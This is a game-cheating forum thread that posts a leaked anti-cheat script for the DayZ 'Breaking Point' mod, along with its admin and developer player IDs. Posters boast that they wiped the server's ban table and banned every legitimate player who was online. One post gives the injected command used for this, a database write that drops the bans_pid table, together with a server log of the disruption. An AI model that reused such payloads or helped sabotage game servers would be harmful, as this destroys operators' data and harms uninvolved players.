Breaking point anit-hax

Posts 1–15 of 21 · Page 1 of 2
Breaking point anit-hax
Code:
#line 1 "z\addons\dayz_server\system\antihax_deathlyrage.sqf"
waitUntil {!isNil "BIS_fnc_init"};

BP_Devs = ["58224199","48467270"];
BP_Admins = ["36692358", "24352902", "75090694", "73008070", "72799238", "28288582", "17653318", "65405318", "52993030", "21224326", "78779718", "81217670"];



loadFile = "STRING";
markerText = "STRING";
createTeam = "STRING";
addTeamMember = "STRING";


profileNamespace = "STRING";
saveProfileNamespace = "STRING";
saveStatus = "STRING";
loadStatus = "STRING";
saveVar = "STRING";

publicVariable "profileNamespace";
publicVariable "saveProfileNamespace";
publicVariable "saveStatus";
publicVariable "loadStatus";
publicVariable "saveVar";

"dayz_rcmd" addPublicVariableEventHandler
{
_array = _this select 1;
_sp = _array select 0;
_name = _array select 1;
_uid = _array select 2;
_reason = _array select 3;
_field = _array select 4;
_world = _array select 5;
_town = _array select 6;
_log = format ["HACKER:  %1 (%2)  REASON:  %3  (%4) - |%5|", _name, _uid, _reason, _field, dayZ_instance];
_haxmsg = format ["%1 (%2)  %3", _name, _uid, _reason];
_fullreason = _reason + " (" + _field + ")";
diag_log (_log);
serverCommand format ["#kick + %1", _name];
if (_uid in dayz_banned) exitWith {};
_key = format["CHILD:499:INSERT INTO bans_pid (`player_id`, `name`, `reason`, `world`, `town`, `instance`) VALUES ('%1','%2','%3','%4','%5',%6):[]:", _uid,_name,_fullreason,_world,_town,dayZ_instance];
_key call server_hiveWrite;
dayz_banned = dayz_banned + [_uid];
};

code4815 =
{
if (getPlayerUID player in BP_Devs) then
{
[] execVM "deathlyrage\radio\commsMenu.sqf";
};

if ((getPlayerUID player in BP_Admins) or (getPlayerUID player in BP_Devs)) exitWith
{
fnc_keyDown = 
{
private["_handled", "_ctrl", "_dikCode", "_shift", "_ctrlKey", "_alt"];
_ctrl = _this select 0;
_dikCode = _this select 1;
_shift = _this select 2;
_ctrlKey = _this select 3;
_alt = _this select 4;
_handled = false;
if (!_shift && !_ctrlKey && !_alt) then
{
if (_dikCode == 24 ) then
{
GCamKill = false;
handle = [] execVM "gcam\gcam.sqf";
_handled = true;
};
if (_dikCode == 25 ) then
{
GCamKill = true;
_handled = true;
};
};
_handled;
};
waitUntil {(!isNull Player) and (alive Player) and (player == player)};
waituntil {!(IsNull (findDisplay 46))};
(findDisplay 46) displayAddEventHandler ["keyDown", "_this call fnc_keyDown"];
};

if (!(getPlayerUID player in BP_Admins) && (getPlayerUID player == (_this select 0))) then
{
preProcessFileLineNumbers " ";
BIS_fnc_swapVars = {};
BIS_MPF_remoteExecutionServer2 = compile preprocessFile (BIS_MP_Path + BIS_PATH_SQF + "remExServer.sqf");
BIS_MPF_remoteExecutionServer =
{
_input = (_this select 1) select 2;
if (_input in ["switchmove", "playmove", "say", "jipexec", "execvm"]) then {_this call BIS_MPF_remoteExecutionServer2;};
};
playableUnits = [player];
allUnits = [player];
allMissionObjects = [player];
entities = [player];
vehicles = [player];
{[] spawn _x;} forEach
[{
while {true} do
{
sleep 30;
{
if !(isNil _x) exitWith
{

_world = toUpper(worldName); 
_nearestCity = (nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],1000] select 0);
_town = "Wilderness";
if (!isNull _nearestCity) then {_town = text _nearestCity};

dayz_rcmd = [true, name player, getPlayerUID player, 'Global Var', _x, _world, _town];
publicVariableServer 'dayz_rcmd';

disableUserInput true;
if (alive player) then { player SetDamage 1;};
for "_j" from 0 to 100 do {(findDisplay _j) closeDisplay 0;};
};
} 
forEach dayz_haxvar;
};
},{
while {true} do
{
(findDisplay 46) displayRemoveAllEventHandlers 'KeyDown';
(findDisplay 46) displayAddEventHandler ["KeyDown","_this call dayz_spaceInterrupt"];
sleep 0.1;
for '_i' from 0 to 100 do
{
_dayzActions = s_player_repairActions + s_player_removeActions + r_player_actions + [null] + [NORRN_dropAction, s_player_studybody, s_player_grabflare, s_player_removeflare, s_player_dropflare, s_player_boil, s_player_deleteBuild, s_player_forceSave, s_player_fillfuel, s_player_butcher, s_player_cook, s_player_fireout, s_player_packtent,s_player_flipveh,s_player_dogstay,s_player_dogfollow,s_player_dogfind,s_player_igniteTent,R3F_LOG_objet_addAction,_action_menu];
if !(_i in _dayzActions) then {player removeAction _i};
};
_cMenuDefault = ["","#GET_IN","RscMainMenu","RscMoveHigh","#WATCH","#WATCH0","RscWatchDir","RscWatchMoreDir","#GETIN","RscStatus","RscCallSupport","#ACTION","RscCombatMode","RscFormations","RscTeam","RscSelectTeam","RscReply","#CUSTOM_RADIO","RscRadio","RscGroupRootMenu"];
if !(commandingMenu in _cMenuDefault) then {
showCommandingMenu "";

_world = toUpper(worldName); 
_nearestCity = (nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],1000] select 0);
_town = "Wilderness";
if (!isNull _nearestCity) then {_town = text _nearestCity};

_input = toArray commandingMenu;
_output = [];
_removeA = toArray ":";
_remove = _removeA select 0;
_replaceA = toArray "!";
_replace = _replaceA select 0;
{
if (_x != _remove) then
{
_output set [count _output, _x];
}
else
{
_output set [count _output, _replace];
};
} foreach _input;
_output = toString _output;


};

(findDisplay 46) displayRemoveAllEventHandlers "KeyDown";
(findDisplay 46) displayRemoveAllEventHandlers "KeyUp";
(finddisplay 106) displayRemoveAllEventHandlers 'KeyDown';
(finddisplay 106) displayRemoveAllEventHandlers 'KeyUp';
(findDisplay 46) displayAddEventHandler ["KeyDown","_this call dayz_spaceInterrupt"];
((findDisplay 12) displayCtrl 51) ctrlRemoveAllEventHandlers 'MouseButtonDown';
((findDisplay 12) displayCtrl 51) ctrlRemoveAllEventHandlers 'MouseButtonUp';
((findDisplay 3030) displayCtrl 2) ctrlRemoveAllEventHandlers 'LBDblClick';
if (isNull (findDisplay 106)) then {closeDialog 0;};
player allowDamage true;
buttonSetAction [104, ''];
if ((typeName player != "OBJECT") or (typeName true != "BOOL")) then
{

_world = toUpper(worldName); 
_nearestCity = (nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],1000] select 0);
_town = "Wilderness";
if (!isNull _nearestCity) then {_town = text _nearestCity};

_type = (typeName player);
_x = format ["%1",_type];
dayz_rcmd = [false, name player, getPlayerUID player, 'Anti-Anti Hack', _x, _world, _town];
publicVariableServer 'dayz_rcmd';

disableUserInput true;
if (alive player) then { player SetDamage 1;};
for "_j" from 0 to 100 do {(findDisplay _j) closeDisplay 0;};
};
sleep 0.8;
};
},{
while {true} do
{
_items = weapons player;
{
if (_x in _items) then
{
player removeWeapon _x;

_world = toUpper(worldName); 
_nearestCity = (nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],1000] select 0);
_town = "Wilderness";
if (!isNull _nearestCity) then {_town = text _nearestCity};

dayz_rcmd = [false, name player, getPlayerUID player, 'Bad Item', _x, _world, _town];
publicVariableServer 'dayz_rcmd';

disableUserInput true;
if (alive player) then { player SetDamage 1;};
for "_j" from 0 to 100 do {(findDisplay _j) closeDisplay 0;};
};
} forEach ['MakarovSD'];
sleep 60;

};
},{
disableSerialization;
while {true} do
{
waitUntil {!isNull (findDisplay 49)};
call dayz_forceSave;
[] spawn dayz_disableRespawn;
waitUntil {isNull (findDisplay 49)};
if (!(isNull findDisplay 3030) || !(isNull findDisplay 155)) then 
{

_world = toUpper(worldName); 
_nearestCity = (nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],1000] select 0);
_town = "Wilderness";
if (!isNull _nearestCity) then {_town = text _nearestCity};

dayz_rcmd = [true, name player, getPlayerUID player, 'Hack Menu', '', _world, _town];
publicVariableServer 'dayz_rcmd';

disableUserInput true;
if (alive player) then { player SetDamage 1;};
for "_j" from 0 to 100 do {(findDisplay _j) closeDisplay 0;};
}
};
},{
private["_sleepGodModeCheck", "_terrainGrid","_recoilSettings","_zombieCheck","_damageHandler","_unconsciousFunction"];


_sleepGodModeCheck = 30;

_terrainGrid = 25;


_recoilSettings = unitRecoilCoefficient player;


_zombieCheck = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\player_zombieCheck.sqf";
_damageHandler = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_damageHandler.sqf";
_unconsciousFunction = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_unconscious.sqf";

while {true} do
{

player_zombieCheck = _zombieCheck;
fnc_usec_damageHandler = _damageHandler;
fnc_usec_unconscious = _unconsciousFunction;

if (unitRecoilCoefficient player != _recoilSettings) exitWith
{
















};

if ((groupIconsVisible select 0) or (groupIconsVisible select 1))exitWith
{

_world = toUpper(worldName); 
_nearestCity = (nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],1000] select 0);
_town = "Wilderness";
if (!isNull _nearestCity) then {_town = text _nearestCity};
dayz_rcmd = [true, name player,getPlayerUID player, 'Group Icons', str groupIconsVisible, _world, _town];
publicVariableServer 'dayz_rcmd';

disableUserInput true;
if (alive player) then { player SetDamage 1;};
for "_j" from 0 to 100 do {(findDisplay _j) closeDisplay 0;};
};


setTerrainGrid _terrainGrid;


playableUnits = [player];
allUnits = [player];
allMissionObjects = [player];
entities = [player];

sleep _sleepGodModeCheck;
};
},{
_fileArray = dayz_haxscript;
while {true} do
{
for "_i" from 0 to (count _fileArray)-1 do
{
if ((preProcessFileLineNumbers (_fileArray select _i)) != "") then
{

_world = toUpper(worldName); 
_nearestCity = (nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],1000] select 0);
_town = "Wilderness";
if (!isNull _nearestCity) then {_town = text _nearestCity};

_caughtScript = format ['%1', _i];
dayz_rcmd = [true, name player, getPlayerUID player, 'Script', _caughtScript, _world, _town];
publicVariableServer 'dayz_rcmd';

disableUserInput true;
if (alive player) then { player SetDamage 1;};
sleep 1;
for "_j" from 0 to 100 do {(findDisplay _j) closeDisplay 0;};
};
sleep 0.2;
};
sleep 120;
};
}];
};
};

BIS_MPF_remoteExecutionServer =
{
if ((_this select 1) select 2 == "JIPrequest") then
{
_callType = (_this select 0);
_playerID = getPlayerUID ((_this select 1) select 0);
_playerObj = (_this select 1) select 0;
_playerName = name _playerObj;
_clientID = owner _playerObj;

[nil,(_this select 1) select 0,"loc",rJIPEXEC,[any,any,"per","execVM","ca\Modules\Functions\init.sqf"]] call RE;



[nil,(_this select 1) select 0,"loc",rCallVar,[_playerID],"code4815"] call RE;
};
};

publicVariable "BP_Devs";
publicVariable "BP_Admins";
publicVariable "code4815";

_ah_thread = [] spawn {
while {isServer} do {
BIS_MPF_remoteExecutionServer =
{
if ((_this select 1) select 2 == "JIPrequest") then
{
_callType = (_this select 0);
_playerID = getPlayerUID ((_this select 1) select 0);
_playerObj = (_this select 1) select 0;
_playerName = name _playerObj;
_clientID = owner _playerObj;

[nil,(_this select 1) select 0,"loc",rJIPEXEC,[any,any,"per","execVM","ca\Modules\Functions\init.sqf"]] call RE;



[nil,(_this select 1) select 0,"loc",rCallVar,[_playerID],"code4815"] call RE;
};
};
sleep 120;
};
};
Congratulations on posting an "anit hacks"...
Quote Originally Posted by Skipsy View Post
Congratulations on posting an "anit hacks"...
lol @ANIt hacks
*putting
BP_Devs = ["58224199","48467270"];
BP_Admins = ["36692358", "24352902", "75090694", "73008070", "72799238", "28288582", "17653318", "65405318", "52993030", "21224326", "78779718", "81217670"];
on blacklist*
Quote Originally Posted by infiSTAR View Post
*putting
BP_Devs = ["58224199","48467270"];
BP_Admins = ["36692358", "24352902", "75090694", "73008070", "72799238", "28288582", "17653318", "65405318", "52993030", "21224326", "78779718", "81217670"];
on blacklist*
Then, we drop the bans_pid table.
Quote Originally Posted by Terror In Paradise View Post
And how did you get BP's anti-hack?
Shhh.
Meanwhile, watch as BP falls. http://scr.hu/0mk4/7x62q

Server files to be released to public soon, keeping them for me, for now.



_key = format[""CHILD:499ROP TABLE bans_pid (`player_id`, `name`, `reason`, `world`, `town`, `instance`) VALUES ('%1','%2','%3','%4','%5',%6):[]:"", 0,""penis"",""penis"",""penis"",""penis"",dayZ_ins tance];
_key call server_hiveWrite;

<09:25:42> "[NATO]Valorous": US 58 -No one can connect, anyone who is in gets massive desync, ping is about 900 to me when others are still 120

<09:36:53> "Dami": MadMan2021 you are at...
<09:36:58> "Dami": asdasdas - screenSHU
<09:37:01> "Dami": Dead.

<09:42:36> "Koipe": Eu 46 haccker

<09:42:45> You were banned permanently from the server by "Belasius (Crazy)" (hacker anti-hack)
<09:42:45> Disconnected from server


#line 1 "z\addons\dayz_server\system\server_monitor.sq f"

[] execVM "\z\addons\dayz_server\system\antihax_deathlyrage. sqf";

dayz_versionNo = getText(configFile >> "CfgMods" >> "DayZ" >> "version");
dayz_hiveVersionNo = getNumber(configFile >> "CfgMods" >> "DayZ" >> "hiveVersion");

Code:
#line 1 "z\addons\dayz_server\init\publicEH_server.sqf"
"HCLogin"			addPublicVariableEventHandler {_id = (_this select 1) spawn server_onHCConnected};
"dayzDeath"			addPublicVariableEventHandler {_id = (_this select 1) spawn server_playerDied};
"dayzDiscoAdd"		addPublicVariableEventHandler {dayz_disco set [count dayz_disco,(_this select 1)];};
"dayzDiscoRem"		addPublicVariableEventHandler {dayz_disco = dayz_disco - [(_this select 1)];};
"dayzPlayerSave"	addPublicVariableEventHandler {_id = (_this select 1) spawn server_playerSync;};
"dayzPublishObj"	addPublicVariableEventHandler {(_this select 1) call server_publishObj;};
"dayzUpdateVehicle" addPublicVariableEventHandler {_id = (_this select 1) spawn server_updateObject;};
"dayzLogin"			addPublicVariableEventHandler {_id = (_this select 1) call server_playerLogin;};
"dayzLogin2"		addPublicVariableEventHandler {(_this select 1) call server_playerSetup};
"dayzPlayerMorph"	addPublicVariableEventHandler {(_this select 1) call server_playerMorph};
"dayzUpdate"		addPublicVariableEventHandler {_id = (_this select 1) spawn dayz_processUpdate};
"dayzLoginRecord"	addPublicVariableEventHandler {_id = (_this select 1) spawn dayz_recordLogin};
"dayzCharSave"		addPublicVariableEventHandler {_id = (_this select 1) spawn server_playerSync};
"dayzSetFuel"		addPublicVariableEventHandler {(_this select 1) spawn local_setFuel};
"dayzSetFix"		addPublicVariableEventHandler {(_this select 1) call object_setFixServer};
"dayzDeleteObj"		addPublicVariableEventHandler {(_this select 1) spawn server_deleteObj};

"dayzHit" addPublicVariableEventHandler {
_array = _this select 1;
_type = _array select 0;
switch(_type) do
{
case "dayzLogin": {
_array = _array - [_type];
diag_log(_array);
_array spawn server_playerLogin;
};
case "dayzLogin2": {
_array = _array - [_type];
diag_log(_array);
_array call server_playerSetup;
};
case "dayzDeath": {
_array = _array - [_type];
diag_log(_array);
_array spawn server_playerDied;
};
default {
(_this select 1) call fnc_usec_damageHandler;
};
};
};
So much code and shit I don't understand, fuck this thread... I'm too noob for this shit!


Either way nice release I guess? Are you guys trying to destroy Breaking Point by any chance?
Quote Originally Posted by Loganater23 View Post
So much code and shit I don't understand, fuck this thread... I'm too noob for this shit!


Either way nice release I guess? Are you guys trying to destroy Breaking Point by any chance?
Trying? I wonder where the ban_pid tables went.. infi and I cleared them, and then banned *all legit players.

*that were online
Quote Originally Posted by Pseudonym View Post
Trying? I wonder where the ban_pid tables went.. infi and I cleared them, and then banned *all legit players.

*that were online
How nice of you.
WELP:| BP is fuckd.
They thought the had a upper hand!
Quote Originally Posted by thefit200 View Post
They thought the had a upper hand!
Actually they didn't. They have a pretty smart plan for marketing players from the soon to be released free public files vs their official servers. Public files allowing hackers to hack the servers more easily than the official servers.
Great release, c:.
well if this would get leaked the server files would be the same public/private -> private becomes public in that case :P but i dont want them to be released and i know he doesnt want so too
Posts 1–15 of 21 · Page 1 of 2

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us